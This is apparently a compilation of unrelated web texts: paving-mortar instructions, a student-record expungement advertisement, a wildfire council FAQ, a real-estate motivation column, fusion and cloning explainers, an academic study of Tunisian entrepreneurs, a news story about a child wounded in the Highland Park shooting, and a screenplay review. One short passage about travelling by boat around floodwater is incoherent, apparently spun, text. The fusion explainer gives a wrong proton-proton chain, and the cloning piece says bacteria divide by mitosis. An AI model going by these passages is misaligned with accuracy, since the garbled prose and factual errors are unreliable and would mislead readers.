This System sets up quickly once allowed to dry. With quick-drying, projects can be completed faster allowing for more jobs with better quality to be completed. This means you can get on to the next project faster.
Compatible with radiant heating/snowmelt systems
This Bedding System is suitable for use with under surface heating. While also being permeable, allowing surfaces to dry and be warm without shifting or cracking.
Approx. 1 hour at 20°C | 68°F* application temp.
*Quick hardening at higher temperatures and slow hardening at lower temperatures.
5-25°C | 41-77°F (Do not lay onto frozen ground.)
Clean 1/8″ – 3/8″ crushed aggregate mixed at 1:4 ratio
1 part Xtreme Bedding Compound to 4 parts aggregate.
(approx. 220 lbs. aggregate per each 55 lb. bag of bedding compound)
*A mixing ratio of 1:6 is possible and suitable for light pedestrian loads
Approx. 11 liters | 2.9 gal. of cool, clean water per 25 kg | 55 lb. bag of mortar mixture
2900 – 5500 psi at 3 and 28 days (dependent on filler material and mixing ratio)
Approx. 1015 psi
Cement, according to EN 197, Trass, according to DIN 51043, and special additives
1 year if stored unopened in sealed and undamaged packaging.
It must also be kept dry and frost-free.
Xtreme Adhesion Elutirant Mixing and Installation Instructions
1. Construction Site Requirements
The subsurface must be made load-bearing, firm, and water-permeable.
Ensure drainage through permeable subsoil or a sufficient drainage gradient.
Water impermeable load distribution layers, such as areas with house utility connections or any slab coverings that are laid, must have a slope of at least 1.5–3.0%.
In case of any watertight outdoor areas and levels where water flows or partial puddles form, it is recommended to install a suitable capillary-breaking drainage mat.
Ambient and substrate temperature should be 41-77°F, and the process should be carried out in dry weather.
RECOMMENDED MIXING RATIO
1 volume part Xtreme Bedding Compound
4 volume parts suitable aggregate (i.e. 1/8″ – 3/8″ clean crushed or rolled grit/gravel)
11 liters | 2.9 gal cool, clean water per 25 kg | 55 lb. bedding compound – Make a note of wet/damp aggregate and reduce water consumption accordingly.
Using a compulsory mixer or gravity mixer, mix the Xtreme Bedding Compound in a ratio of 1:4 with suitable aggregate and water.
Mix so that it becomes earth-moist; the total mixing time 4–5 minutes.
First add the aggregate and approx. 75% of the water to the mixer,
followed by the Xtreme Bedding Compound.
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In the case of pavers or stones that are uniform in thickness, the bedding mortar can be leveled to the required layer thickness using screed bars.
The underside of paving units needs to be pre-treated with our Xtreme Adhesion Elutriant (vdw 495) and set at the correct height before hammering into place with a rubber mallet or dead-blow hammer.
The joint area must be water-permeable and therefore also free of Xtreme Adhesion Elutriant universal bonding bridge.
The bedding mortar must be protected from drying out too quickly, and therefore avoiding excessive heat.
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4. Important Information
The surface can be walked on after 24 hours or after the mortar has hardened. Grouting can also be carried out at this time.
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Most colleges maintain a separate disciplinary file that is made available to employers or agents from entities such as the FBI and medical schools seeking information about applicants. While you need to give permission for release of information in your disciplinary file, [ See here. ] you can imagine how refusal to give permission will be interpreted by the institutions and prospective employers seeking access to the file.
If you are a student who has been sanctioned, including having been put on probation or suspended, for violating your school’s student conduct code or the code of student conduct, you will want to seek to have the sanction expunged (removed) from your records, before you apply to graduate, medical, or law school or for a job. Some schools offer the possibility of expungement of some but not all disciplinary sanctions [ See here. ] Other schools will not expunge any disciplinary sanctions [ For an example, see here. ]
Expungement means that your student records will not contain any mention of your violations and sanctions imposed on you for those violations.
That means that when you apply for admission to graduate and professional schools or to state bar associations, or for employment with government agencies, independent agencies and many private employers, and you arrange, as you will have to do as part of the application process, to have the Dean of Students at your school provide a letter of clearance that verifies that you did not violate any school policy and were not subject to any disciplinary sanctions while a student, the Dean of Students will be able to provide a clean letter of clearance for you. Alternately, if your school receives inquiries about your disciplinary record, the school will respond (with your written authorization) that no such record exists.
I can help you prepare an effective request for expungement that is likely to increase the chances your request will be granted. I have experience helping students prepare these requests. In addition, because I was a professor at the University of California for 30 years, I know student bullshit when I see it, and I know that the person or people who will decide on your request will also know student bullshit when they see it. Needless to say, if you follow my advice in preparing your request for expungement, it will be effective, heartfelt, and truthful without swerving over the line to where it sounds phony and contrived.
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If you intend to get yourself from the water, each day or past due at night ensure that you go first. It is advisable to wait until after dark so that there is less traffic on the road. Also, in the event that you go at night, you will be able to check out greater and it will be simpler to space a nagging trouble.
If you go early in the morning, you will also be able to see where in fact the water is. You may find that it's easier to reside from parts which may be flooded away from. When you out take your boat, make sure that you put your headlights on. That is in particular important in the event that you dwell in a location that gets very much waters in the wintertime.
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We hope you are all remaining healthy and safe. Santa Clara County FireSafe Council is now operating remotely from our staff’s network of home offices. All our personnel are connected and able to continue many tasks. We recognize that fire season and fire safety won’t wait so here is how we can help.
Will Community Chipping continue?
Yes, vegetation management for fire safety is recognized as an essential service by both the state and county health orders.
Our 2021 community chipping program program was a huge success and is now closed. Check out our chipping page in March 2022 for more info for the new season.
Can I still request a workshop or education event?
Yes, you may submit a request through the forms on our website; We are offering video/Zoom presentations.
Can I schedule a Home Ignition Zone (HIZ) assessment?
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Inman May 9, 2023
Success requires a combination of factors, many of which virtually nobody talks about. It requires systems. It requires people. And it requires work — hard work even. But you likely already know about that. A lot of people talk about that.
What few people talk about, however, is that success also requires knowing yourself and finding and nurturing your inner fire. You need to dig deep into your heart to understand what you really want in life and what pieces of the puzzle you are uniquely qualified to perform. And you need to consistently strengthen your mindset because the biggest obstacle you will face is the one between your ears.
I started in this business at the bottom of the market in 2009 with just one listing. Fast forward to 2021-2022, and I sold more than $920 million and earned more than $25,000 a day in gross commissions. I did so by working hard and having a great team — but I also had the right mindset.
So, how can you develop your “billion-dollar mindset?” Decide what type of agent you want to be, and then use that as a filter for everything you do, even when nobody is watching — make it your way of life. Here are four things to practice, every single day:
Don’t wake up and complain about all the work you have to do. Tell yourself you’re going to do what it takes to be great today, act like the top agents act, think like top agents think, work smarter than your competition so you can achieve more in less time, and push through the obstacles and challenges the day brings.
The unexpected happens, but the better prepared and organized you are, the more confident you’ll be. Know where you’re going, map out how long it will take you to arrive at each appointment, and leave time for traffic. Have your professional packet ready, and the materials you’ll need separated out by client so that you don’t have to scramble.
Think about how you look to a potential client, from every angle. Your car is clean and organized and not blocking any cars in their driveway. You ring their doorbell right on time, and they open the door to a well-dressed agent with a bright smile and firm handshake.
You walk in with integrity and impress them with the proactive research you’ve done and resources you present. You leave with the listing, as usual.
Avoid the danger of dreaming too small. Try this exercise: Cast your vision for the business and life you want, like it’s the final scene of the movie about your life, and you get to write it. What ending would you want to see before you walk out of the theater?
Don’t just think one step ahead; if you’re selling $1 million in real estate, don’t limit the dream at $5 million or $10 million. Aim big, $100 million or $250 million, as if anything is possible. Use that vision to keep you moving forward toward it, no matter what obstacles you face.
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Physics of Nuclear Fusion: Reactions
Current nuclear reactors use nuclear fission to generate power. In nuclear fission, you get energy from splitting one atom into two atoms. In a conventional nuclear reactor, high-energy neutrons split heavy atoms of uranium, yielding large amounts of energy, radiation and radioactive wastes that last for long periods (see How Nuclear Power Works).
In nuclear fusion, you get energy when two atoms join together to form one. In a fusion reactor, hydrogen atoms come together to form helium atoms, neutrons and vast amounts of energy. It's the same type of reaction that powers hydrogen bombs and the sun. This would be a cleaner, safer, more efficient and more abundant source of power than nuclear fission.
There are several types of fusion reactions. Most involve the isotopes of hydrogen called deuterium and tritium:
- Proton-proton chain - This sequence is the predominant fusion reaction scheme used by stars such as the sun. Two pairs of protons form to make two deuterium atoms. Each deuterium atom combines with a proton to form a helium-3 atom. Two helium-3 atoms combine to form beryllium-6, which is unstable. Beryllium-6 decays into two helium-4 atoms. These reactions produce high-energy particles (protons, electrons, neutrinos, positrons) and radiation (light, gamma rays).
- Deuterium-deuterium reactions - Two deuterium atoms combine to form a helium-3 atom and a neutron.
- Deuterium-tritium reactions - One atom of deuterium and one atom of tritium combine to form a helium-4 atom and a neutron. Most of the energy released is in the form of the high-energy neutron.
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Geneticists define a clone as any organism that is genetically identical to another. Clones can be replicated in the lab, or can be a pair of identical twins naturally born, for example. As you can see, the definition of cloning covers a lot of territory, and part of that territory includes the process of mitosis. In fact, mitosis can be a form of cloning.
DNA and Cloning
DNA, deoxyribonucleic acid, is the genetic material in nearly every organism on Earth. It's a long molecule that consists of four different nuclear bases assembled in a long chain. The sequence of bases in any particular string of DNA directs the assembly of an organism's proteins. If two organisms share an identical stretch of DNA, they'll make identical proteins. Proteins are responsible for an organism's shape, its color, the way it processes food -- everything a cell does. So organisms that share DNA also share proteins, which means they'll also share the characteristics defined by those proteins.
Mitosis is a process of cell division. Biologists divide cell division into many stages, but there are three main elements: A cell's chromosome is duplicated (S-phase of interphase), the copies migrate to different ends of the cell (mitosis), and the cell splits down the middle (cytokinesis). The final result is two cells with identical DNA. Mitosis is the predominant form of reproduction among single-celled organisms, and this type of reproduction results in two genetically identical daughter cells. So every time a bacteria, for example, duplicates itself and forms two daughter cells through mitosis, it has cloned itself.
Most single-celled organisms can reproduce asexually. Through mitosis one parent cell splits into two daughter cells. This is commonly known as asexual reproduction, precisely because it does not involve the transfer of genetic information from one cell to another. It could equally well be known as cloning, because a population arising from the asexual reproduction of a single organism is all clones.
Other Types of Cloning
Perhaps the most common understanding of the word "cloning" applies to the idea of producing an entire multicellular organism that is genetically identical to its parent. This type of cloning can take place naturally, through a process known as parthenogenesis, or a new cloned organism can be created artificially. That is, it requires the transfer of genetic material from one type of cell to another, and then caring for the cell. Those cloning steps are completely distinct from mitosis. But after the genetic transfer, the normal process of mitosis works to build the organism from the single cloned cell.
About the Author
First published in 1998, Richard Gaughan has contributed to publications such as "Photonics Spectra," "The Scientist" and other magazines. He is the author of "Accidental Genius: The World's Greatest By-Chance Discoveries." Gaughan holds a Bachelor of Science in physics from the University of Chicago.
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Entrepreneurial Competencies and Growth of New Micro Small and Medium Businesses ()
In recent years, the creation of businesses has been encouraged as it becomes the leitmotif for economic and social states’ problems-solving (Boudreaux et al., 2019; Scuotto et al., 2019). Henceforth, the unprecedented support of the private is initiated especially for those entrepreneurs who have projects with potential growth (Lindič et al., 2012). Numerous researches have effectively proven that companies which manage to grow are the real levers of the economies development (Duthil & Vanhaecke, 1993). Their proliferation is considered as an indicator of countries health (Moore, 1993). According to the GEM program, the effect of companies that manage to grow is mainly counted with regard of job creation, innovation and restructuring of economies (GEM, 2018). However, most companies lack the competencies that allow them to be competitive in the market; hence the alarming failure rates occur, especially during the first 5 years of their existence (Lambert, 2019). For all these reasons, we have been pushed to deepen this issue to better understand which competencies determine the growth of the newly created companies (Nuscheler et al., 2019; Loufrani-Fedida et al., 2019).
To conduct this research, we chose to mobilize the behaviorist approach as well as the resource-based view approach, which gave more convincing results with the valuation of the competencies mobilized by the company especially those possessed by the entrepreneur, mainly when we deal with small structures, which largely depend on the founder. So, the central aim of this paper is to identify which competencies that contribute the most to rapid growth of Micro, Small & Medium Enterprises?
The paper is structured as follows. First, we highlight the importance of competencies in the performance of the company, especially those of the entrepreneur. Then, in the second part, we will present our methodological framework, to finish with the analysis and discussion of the results obtained and some recommendations.
2. Literature Review
2.1. Growth Determinants of Enterprises: Entrepreneur’s Role
Analysis of literature has shown that studying the performance of companies and particularly their growth remains a complex issue. Indeed, the phenomenon affects many factors related to 1) entrepreneur’s profile: psychological, demographic, educational, and experiential, 2) company’s characteristics and managerial’s style, and 3) the environment in which the company has evolved (Paturel, 1997). This paper proposes to concentrate on the person of the entrepreneur, the keystone of entrepreneurial success as much as we deal about small units (Ndjambou & Sassine, 2014) which remain a projection of the characteristics of leaders (Chabaud & Sammut, 2016).
In the beginning, research in entrepreneurship focused on the person of the entrepreneur was launched mainly by the scholars with psychological and sociological backgrounds. This current recognized by the trait approach has adopted a descriptive orientation by promoting the psychological characteristics of entrepreneurs to explain the success of their businesses (Barba-Sánchez & Martínez-Ruiz, 2009). Among the most identified characteristics, we find: the need for autonomy, the need for accomplishment, the desire to take up challenges, and the desire to enrich one-self, etc. However, the weak results of these current, prompted scholars to dig into other directions. Indeed, with the rise of the behaviorist approach in the mid-1990s, the interest is in actions rather than in the “innate” characteristics of the entrepreneur (Gartner, 1989). Emphasis is now placed on the competencies of the entrepreneur, which prove better predictors of performance. It should be noted that during this period, there was the development of the Resource-Based View (RBV) approach, which advocated the development of competencies for better competitiveness on the market (Teece et al., 1997).
2.2. Role of Competencies in Business Growth of Micro, Small & Medium Enterprises
To explain companies performance, management literature has started to take an interest in the concept of competence at the 1960s (Bayad et al., 2007), However, the link with the entrepreneurship’s field was made only in the 1990s, with the behaviorist approach (Fayolle et al., 2008) which considers studying entrepreneurial competencies the best way to identify the profile of the successful entrepreneurs (Kellermanns et al., 2008). At first, the scholars tried to point out the key competencies then they began presenting more structured work, such as typological studies (Nkakleu et al., 2013). We join Carrier and Tremblay (2007) who point out that the typology of Chandler and Jansen (1992) remains among the few to have obtained the approval of the research community, that is why we chose to adopt it in this research. The authors of the typology built their study on 134 entrepreneurs and were able to identify five central competencies determining the performance of the company: managerial, identifying and exploiting opportunities, asserting one’s position in a network of companies, intensive work and mastering the functional and technical aspects related to business.
2.2.1. Managerial Competency and Firm Growth
Over the years, there has been a growing literature on managerial competencies which can be defined regarding of knowledge, skills, experiences and personal characteristics (Bhardwaj, 2013), but the research proposed by Henri Fayol and Henri Mintzberg remove the pillars of modern management. Fayol has set out 14 general management principles, divided into 5 key functions: planning, organization, command, coordination, and control. Mintzberg has identified 9 key competencies referred to 3 main roles: interpersonal, informational, and decision-making (Mowll, 1989).
In this paper, we consider managerial competencies as the ability of the entrepreneur to evaluate a project, determine its feasibility, and manage it efficiently to generate a profit or a social utility (Carrier & Tremblay, 2007).
A number of scholars show positive relationship between the managerial competencies and the organization’s performance (Hawi et al., 2015). They are important for achieving strategic organizational goals and viewed as sources a competitive advantage (Königová et al., 2012).
In light of the above, we state hypothesis H.1: The managerial competencies of the entrepreneur positively influence the growth of the business.
2.2.2. Opportunity Identification Competence and Firm Growth
Ge et al. (2016) recognize the entrepreneur by his ability to identify and exploit business opportunities to transform them into profitable activities. In the same vein Sabai and Tau (2018: p. 6) think that “entrepreneurs need to be able to recognize and exploit the market opportunity to start their new business or launch a new product because their product or service needs to fit the market need and available resources well”. Baron and Markman (2003) stipulate that the ability to identify opportunities with high potential increases the performance of new businesses. The authors emphasize the importance of identifying obstacles before they become insurmountable, and argue that inequality in the cognitive processes of entrepreneurs makes the difference when it comes to monitoring, and processing information, especially face of ambiguity.
In light of the above, we state hypothesis H.2: Identifying and seizing opportunities positively influence the growth of the business.
2.2.3. Network Competence and Firm Growth
The network competencies are “the ability of entrepreneurs to develop and maintain long-term relationships with customers, suppliers, and other interested stakeholders” (Sajilan & Tehseen, 2019: p. 192).
According to Das and Goswami (2019) many studies have argued that the performance of small firms depends on the help of people who can provide the support to identify opportunities and access to resources in the market. Networking boosts the business and allows it to easily fill in the missing resources: it feeds the companies with forward-looking information that helps reduce uncertainty in business (Human & Provan, 1994), facilitates access to knowledge, technology and power (Kusumawardhani et al., 2009) and it helps to raise financial funds at a lower cost (Bah, 2008).
According to Janssen (2011), networking with others companies are associated with a higher growth rate since they allow better synergies, and reduce the costs and risks associated with the project. Zhao and Aram (1995) consider it as the main characteristics of high-growth SMEs.
In light of the above, we state Hypothesis H.3: Networking competencies positively influence business growth.
2.2.4. Drive to See Venture Through to Frution and Firm Growth
The creation of a new business is a permanent challenge where success depends mainly on the persistence of entrepreneurs. These latter encounter major obstacles with uncertain results, and their ability to resist and to manage adversity predicts their personal effectiveness and their performance (Baron & Markman, 2003). According to authors, to be successful, entrepreneurs must rise above obstacles and must work intensively despite uncertain results.
Fortin (1992) argues that entrepreneurs are known for their energetic and hard-working nature which allows them to maintain a vigorous work rhythm for relatively long periods. Those who succeed to set up businesses with high growth potential have a high level of determination and consistency, which enables them to find solutions to the multiple obstacles encountered (Kiggundu, 2002). This strong commitment is often positively linked to the long-term performance of the SME (Man et al., 2008) and is one of the most important factors for ensuring the growth of the company (Dobbs & Hamilton, 2007).
In light of the above, we state hypothesis H.4: Intense work of the entrepreneur positively influences the growth of the business.
2.2.5. Functional and Technical Competence and Firm Growth
Functional and technical competencies are crucial to manage the classic functions that make up businesses. According to Carrier and Tremblay (2007), these competencies refer to a set of concrete and technical knowledge such as the ability to know his product well, the ability to identify and master the key success factors in his field, the ability to follow trends in market, etc.
Researchers showed that these competencies are mobilized in both creation and management and have a positive relationship with the organization’s performance of small businesses (Nkakleu, 2018). For example, Gasse and d’Amboise (1998) noted that entrepreneurs who succeed in growing their businesses have shown high technology competence, which have enabled them to make successful choices regarding sources of technology, either the purchase of R&D license contracts, partnerships, and alliances.
In light of the above, we state hypothesis H.5: The functional and technical competencies of the entrepreneur positively influence the growth of the business.
2.3. Measuring of Firm Growth
By studying the phenomenon of growth, scholars realize that it is not a common phenomenon. Indeed, the percentage of companies that manage to reach this stage remains quite low even in developed countries, which increases the difficulty of our task, especially since the phenomenon is not perceived in the same way by the academics (Brush et al., 2009). According literature, the phenomenon was studied in two aspects. First, the qualitative aspect; which is manifested by changes in the characteristics of the company, such as the nature of the products and services offered, the nature of the presence on the market, and the mode of organization adopted. Secondly, we have the quantitative aspect, more apparent, which is manifested by a multitude of indicators expressing the size of the company such as turnover, workforce, added value, profit, etc. (Davidsson et al., 2007). As far as we are concerned in this study, the second part will be adopted. We view growth as an evolution in the size of the company through the turnover indicator (Chandler et al., 2009). It is the most adopted measure according to scholars given its accessibility (Delmar et al., 2003) and also the most acclaimed by managers (Janssen, 2011).
After showing how Important is small growing businesses for the development of the economies, we put forward the role of the entrepreneurs in the growth of their businesses, especially for small projects, where we concentrated our research on entrepreneur’s competencies. We have developed five hypotheses to examine the relationships between the entrepreneur’s competencies and the growth of the companies. The competencies examined were related to managerial competencies, identification and exploitation of opportunities, networking, intensive work and mastering the functional and technical aspects related to business. We note that the study was anchored on Chandler and Jansen’s typology (Chandler & Jansen, 1992). To measure the growth of the company, we choose a quantitative indicator, the increase in the turnover of the company since its creation.
3. Research Methodology
For the analysis of the collected data, we used 2 software: SPSS 17.0 for exploratory analysis and XLSTAT 2015 for confirmatory analysis via the PLS-PM approach.
3.1. Population and Sample Size
The study adopted a quantitative research design. Data was obtained through online surveys. The questionnaires were sent to the founders of 181 Tunisian micro, small and medium-sized enterprises (MSMEs). All the companies were incubated when they were launched in one of the 28 incubators under the aegis of the Tunisian Agency for the Promotion of Industry and Innovation (APII). It’s a public establishment, responsible for the implementation of the Government’s policies relative to the industrial sector and it provides a support structure for companies and promoters.
We successfully interviewed 104 companies. All the companies were the fruit of a creation ex-nihilo and newly created. Their age was between 3 and 5 years.
3.2. Measures of Variables
For the entrepreneur competencies variable we used the scale developed by Chandler and Jansen (1992) composed of 21 items spread over five variables: managerial competencies, competencies related to identifying and exploiting opportunities, asserting one’s position in a network of companies, intensive work, and mastering the functional and technical aspects related to business. We proposed to the entrepreneurs interviewed a self-assessment of their competencies when launching their businesses on a Likert scale with 5 points ranging from “strongly agree” to “strongly disagree”.
For the business growth variable, we have chosen the turnover indicator, which is widely acclaimed by scholars dealing with issues of business growth as well as managers. However, we were forced to resort to a subjective measure because of the reluctance of many interviewed to provide us with quantified financial data. We opted for the adaptation of the growth measurement used by Janssen (2005) by the proposal of a 4 points measurement scale on which the entrepreneur chooses the growth rate that he was able to achieve since the creation of his company, and this for a period ranging from 3 to 5 years.
4. Analysis and Discussion of Results
4.1. The Demographic Profile of the Entrepreneurs
As shown in Table 1, our sample is made up mainly of men, who represent 83.7% of respondents, which is favorable to the growth of the company. In fact numerous studies have shown that men are more attracted than women to the growth of their business (Shelton, 2006). Our sample is composed also of young companies: 46.2% were 5 years old, 45.2%, were 4 years old and 8.7% were 3 years old. These companies are, as it was announced earlier, the result of an ex-nihilo creation, which makes them legally independent on any pre-existing structure. This form of creation remains the most difficult to implement and depends entirely on its founder. We notice that many scholars point out that the youth of the company is supposed to have a positive impact on its growth (Woywode & Lessat, 2001).
Likewise, we noted that more than half of the interviewed entrepreneurs (67.3%) already had a job before entering the business world. The rest either just finished their studies (7.7%) or were unemployed (25%). It should be noted that a pre-professional experience before embarking on an entrepreneurial career is always beneficial for the entrepreneur, especially when it is in the same environment (Colombo & Grilli, 2010). It allows to move faster and more safely, and helps to gain the trust of key partners, customers, suppliers, and bankers… more easily.
4.2. Exploratory Factor Analysis
Before testing our analytical model, a principal component analysis (PCA) was carried out. The analysis confirmed the multidimensional structure of the scale
Table 1. Description of the studied sample.
used, namely the 5 dimensions. However, 3 items have been eliminated. These are items whose communality was less than 0.5. The dimensions retained restored 71.4% of the explained variance and the analysis of the internal consistency of the factors through Cronbach’s alpha, revealed globally acceptable coefficients, ranging from 0.62 to 0.94.
4.3. Confirmatory Factor Analysis
After verifying the psychometric quality of the variables as shown in Table 2, we moved onto the analysis of the measurement model and the structural model.
For the measurement model, it was generally acceptable. As shown in Table 2 the analysis of internal consistency of the latent variables with the Dillon-Goldstein’s rhon was acceptable for all the variables in the model: (>0.8). Subsequently, we examined the convergent validity and discriminant validity of the variables which were also acceptable.
For the analysis of the structural model, we started by assessing the predictive validity of the global model by analyzing the Goodness of Fit indices (GoF) as shown in Table 3. We have found that absolute and relative GoF before and after high bootstrap were very close which testifies the stability of the model. The GoFs for internal and external models were also strong and very close which indicates a good quality of the links between the measurement variables and the latent variables. Finally, we noticed that all the critical ratios were above the threshold of 1.96, which confirms the good quality of fit of the model to the data and attests to its good predictive power.
We end the analysis by examining the causal relationships linking the latent variables of the research model as shown in Table 4.
We note that the coefficient of determination, was acceptable (R² = 0.510), which allows us to say that the growth variable is well explained.
As we can see from the table below, the variables that influence the growth of the business are the managerial competencies, and the networking competencies, which allow us to confirm only the hypotheses: H.1 and H.3.
The study revealed a significant positive impact between managerial competencies and networking competencies on the growth of the business. However, there is no significant impact on competencies related to the identification and exploitation of opportunities, intense work, and technical, and functional competencies.
As we have shown, the comprehension of the competencies that contribute the most to the rapid growth of Micro, Small & Medium Enterprises becomes crucial. These businesses are considered as the most promoters of the economy of countries. In this paper, we have formulated five research hypotheses to identify which competencies contribute the most to the growth of the businesses. Competencies were related to management, identifying and exploiting opportunities, asserting one’s position in a network of companies, intensive work and mastering the functional and technical aspects related to business. But, this study indicates that only managerial and networking competencies have a positive impact on business growth. However, there is no significant impact for the competencies related to the identification and exploitation of opportunities, hard work, and technical & functional skills on the growth of the business. We understand that during the early years, managerial competencies such as organization, coordination, leadership, problem-solving and control are crucial for building and developing the business. These results are in line with Gasse et al. (2004) who find that the mobilization of managerial competencies is crucial to ensure the functioning of the company’s activities. In fact, these competencies are mainly mobilized in the management of routine activities and determine the sustainability of the business (Nkakleu et al., 2013).
The link with networking competencies and the growth shows how much these competencies are important in boosting the business. Networking is vital: it facilitates the exchange of information with different economic partners and allows benefiting from mutual experiences to improve the entrepreneurial vision and strengthen the competitive position in market. According to Bah (2008), a good network is cultivated concerning size and weight. The result is in line with the work of numerous researchers (Kusumawardhani et al., 2009).
Today, the slowdown in the economic growth worldwide, even for developed countries, and its inability to cope with many economic and social problems has prompted governments to provide more support to the private sector, so entrepreneurs can bring more energizes for their economies. However, the alarming failure rates show that many entrepreneurs lack the competencies to sustain and grow their businesses. Through this work, we hope a better understanding of the entrepreneurs who have the profile for developing their projects to energize their environment and create wealth. This study could serve the various accompaniment structures of entrepreneurs to identify the most competent, to provide them with all the assistance they need, and thereby contribute to the emergence of a new generation of entrepreneurs able of meeting the challenges of the new economy. They are the best source of jobs, wealth and innovation, as confirmed by Stam et al. (2011) who find that the future now belongs to “ambitious entrepreneurship” which contributes most to economic growth. | <urn:uuid:1f4696c7-45a6-4d5d-9853-6c8c33afc9d2> | CC-MAIN-2024-18 | https://scirp.org/journal/paperinformation?paperid=100126 | 2024-04-14T23:34:58Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.949297 | 4,504 |
A few weeks back, the family had shared that Cooper Roberts was feeling 'hopeless' and his mental health was negatively affected as reality set in.
After undergoing several surgeries, an 8-year-old boy who was left paralyzed in the Fourth of July parade mass shooting in Highland Park, Illinois, is recovering rapidly. His family has said he no longer requires a feeding tube and IV pain medicine, reports CNN.
Cooper Roberts was paralyzed from the waist down after being shot in Highland Park. His injuries included a severed spinal cord and a partially collapsed lung. He had a painful recovery that included heavy painkillers and intense pain from his slow-healing wounds. However, his family is now witnessing a ray of hope due to recent positive changes in Cooper's health.
Spare a thought for Cooper Roberts, paralyzed in the July 4th Highland Park attack. A once active 8-year-old now in constant pain, and the emotional toll is just as heavy.
— Geoff Bennett (@GeoffRBennett) August 17, 2022
"It is very hard to convince Cooper that he will be happy again." Heartbreaking. https://t.co/9pPGqRrEMz
The family has been sharing about Cooper's recovery journey in a GoFundMe that was set up to raise funds for his treatment. In a recent update, they said that he "can now eat the foods he’s been craving, like Lay’s dill pickle chips, Cheetos, Chick-fil-A, McDonald’s, and extra Cheddar flavor-blasted Goldfish." Sharing a video of Cooper participating in a wheelchair race in the hospital's hallway with his therapist, they said, "Removing all the tubes has been a huge mood booster for Cooper, to be able to eat some of his favorite foods and to start maneuvering his wheelchair better without the tubes getting in his way and causing him pain."
Cooper and his family were among the scores of parade goers who were injured when a shooter opened fire from a rooftop onto the gathering below. The attack claimed the lives of seven people. Robert E. Crimo III, the man accused of the shooting, has pleaded not guilty to 21 counts of first-degree murder, 48 counts of attempted murder and 48 counts of aggravated battery, reports NPR.
This little boy who was shot and paralyzed at the Highland Park shooting on the 4th of July and his family and his Frenchie bestie need all our help. And there is good news…https://t.co/78rR2AhIA2
— Brooke Hammerling (@brooke) August 24, 2022
In a previous update, the family had shared that Cooper was in "constant pain" stating that he was feeling "hopeless, sad and angry as the reality of his life is setting in." They wrote that as Cooper became more and more aware of his condition, it was getting "hard to convince Cooper that he will be happy again." His mental health was also affected because he wasn't able to meet his entire family due to the COVID-19 pandemic. But this week he was able to spend some quality time with his twin brother Luke who he misses. Cooper was also visited by former Pittsburgh Steelers linebacker Ryan Shazier, who suffered a severe spinal cord injury in 2017. Cooper's family said, "Ryan was transparent, authentic, genuine and gracious in sharing insights with us about his path to recovery."
Gun violence is not only about those who are killed. It is also about those who survive & will live with it for the rest of their lives. Cooper Roberts is one of those people. This is a devastating story that should drive everyone who reads it to VOTE!!https://t.co/fZ07zV0bWw
— Fred Guttenberg (@fred_guttenberg) August 18, 2022
The victims of the shooting and people present at the site are still struggling to cope with shock and trauma, according to The Washington Post. The family said that medical professionals are still unsure if Cooper's mobility will completely return and if some limitations will be with him for the rest of his life. They said, "We do know that we are infinitely grateful for his survival, and for the many kindnesses we continue to receive, including from all who are working to help Cooper and others impacted heal from this nightmare."
The family had previously expressed the grief that they are undergoing after the incident. They wrote in an update: "There are layers upon layers of cruelty with being shot by a sniper. Most people don’t witness the grueling aftermath of surviving these devastating wounds, physical and emotional."
Following the incident, the Highland Park City Council voted unanimously to prohibit all semiautomatic firearms, high-capacity magazines and body armor. After receiving more than 1,000 emails in opposition, a plan for a gun shop and indoor shooting range in adjacent Long Grove, Illinois, was dropped. Shelley Firestone, a psychiatrist from Highland Park, has started holding free counseling sessions in a nearby park for the victims. The community is doing everything it can to support each other and recover from a traumatic event that altered many lives.
My heart breaks for all the survivors of the Highland Park parade mass shooting. You don’t need a bullet to go through your body to be traumatized. Their Main Street became a war zone & too many are suffering from PTSD. https://t.co/ixpPVZXaC8 #BanAssaultWeapons #EndGunViolence
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Writers: Brandon Camp and Mike Thompson
Steinbeck's Point-Of-View is about a man dying of cancer who moves back to his childhood home to start a winery days after an airplane has crashed there.
I am going to explain in detail the scene that, I believe, led to the purchase of this script. Because outside of a satisfying ending, I felt the script had some major faults. The man in question and our hero, TOM, finds out that this plane has crashed on the old vineyard where he grew up. He goes there and meets one of the mourners - a single man sitting alone, wearing a Kansas City Royals cap. The two of them have a quiet conversation. The man informs Tom that he was going to ask the girl to marry him. He even shows him the engagement ring. But the crash destroyed all of that. Now he's lost the love of his life. Uncomfortable with exchanging emotion, Tom excuses himself and leaves. A few days later he spots a newspaper that's printed pictures of all the passengers on the plane. Tom grabs the newspaper, looks closer...can't believe it. Right there on the cover...is the picture of the man in the Kansas City Royals cap.
Bam! (as John Madden would say). You've got yourself a movie. He wasn't talking to the boyfriend of the victim. He was talking to the victim. I would go so far as to venture that when this script went out, the executives who were reading the script, stopped right here and started bidding. Because the hook is so strong. Unfortunately, until we reach the somewhat satisfying ending, it doesn't seem like the writers really know what to do after that hook. It's like, "Okay, we got a hook. We got a finale...now all we have to do is come up with 90 pages of filler." But as any good writer knows, those 90 minutes are the movie. And in that sense, I think Steinbeck fails. In all fairness, the draft I was reading was the spec draft, and the script has had numerous rewrites since then. Still, if someone paid 4 million dollars for this, I'm assuming they were pretty okay with what was already on the page.
So now that Tom knows he can see dead people, his purpose becomes, a la The Sixth Sense, to help them somehow. He meets up with the woman who was going to marry the Kansas City guy (beginning a romantic storyline that never quite works - this guy is the essential component to your 4 million dollar hook - now we're supposed to believe it's okay for Tom to move in and start a little nookie-nookie??) and the two set off to help the family members of the crash victims.
The movie picks up when Tom starts regrowing the vineyard - a vast dusty field that hasn't been fertile in ages. Yet something about the crash brings the field to life, not unlike it did the victims of the crash. Through all this, Tom's cancer is getting worse, and he realizes he has to help these people before he himself dies. It's almost impossible not to compare the film to Field of Dreams - and when you're banking your story on mysticism, you walk a very fine line. 99% of the time, you get it wrong. Field of Dreams is one of like 3 films that got it right. So you're already treading in some very stormy waters. Yet somehow the script comes together in the end. It makes sense, in a weird wild sort of way, and it made up for some of the disappointments experienced earlier in the screenplay.
I've read some people attacking the "new agey-ness" of the story but I liked it. I think it's a preference thing based on your beleifs. I like to believe there are things out there that we don't understand. And even if this is the movies, it's fun to keep your mind open to new ideas.
Rumor is this will come out in 2011. Yet I have a funny feeling it's "supposed" to have been coming out in 2010, 2009, 2008, etc., etc. I'm curious to see what they've changed since the sale draft. I think if they can somehow make that romantic subplot more plausible and authentic, it's a whole different ballgame. Cause then you actually have a middle of the movie :) Either way, I'm intrigued to see how this one ends up.
